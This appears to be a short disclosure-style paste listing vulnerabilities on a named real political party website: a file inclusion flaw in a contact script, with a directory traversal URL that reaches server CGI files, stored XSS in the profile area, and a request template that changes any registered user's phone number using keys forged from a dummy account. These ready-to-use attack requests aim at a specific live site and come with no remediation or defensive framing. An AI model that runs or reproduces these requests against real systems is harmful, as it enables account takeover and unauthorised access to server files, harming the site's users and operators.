https://www.movimento5stelle.it | xss, stored xss, session theft, scripts errors, data leak, remote file inclusion, system compromise

https://www.movimento5stelle.it/cgi-bin/mt-4/mt-cp.cgi

File Inclusion
dodosmail.php is a bogus contact email script.

http://www.movimento5stelle.it/parlamento/segnalazioni.html
http://www.movimento5stelle.it/parlamento/dodosmail.php?dodosmail_header_file=[any local file]
example:
http://www.movimento5stelle.it/parlamento/dodosmail.php?dodosmail_header_file=eventi.html

archived page that shows the inclusion of an html page available on the server: http://archive.is/vHgOn

archived source of the movable type cgi (A bogus obsolete version used on the website): http://archive.is/20Uen
http://www.movimento5stelle.it/parlamento/dodosmail.php?dodosmail_header_file=../../../cgi-bin/mt-4/mt.cgi

the script can be triggered to show errors and the path
Warning: array_keys() expects parameter 1 to be array, null given in /home/httpd/html/casaleggio/beppegrillo.it/beppegrillo/movimento/parlamento/dodosmail.php on line 58    


XSS
There are various xss and stored xss in the profile area.

It's possible to change the phone number even if they tried to hide it by setting the <input> as hidden (sigh).

When the xss are used there's an error, probably related to the movable type cgi.
"Can't call method &amp;quot;id&amp;quot; on an undefined value"


The phone number can be changed for any registered user without permissions.
https://www.movimento5stelle.it/php/load_cid.php?userID=[progressiveinteger related to the user]&m=[email]&key=[fakekey]&sms_key=[fakekey.dot.fakekey]&verify=1&telefono=[telephone with international prefix]

the fake key can be generated by using the keys genereted from a dummy/fake/working account.


____________________________________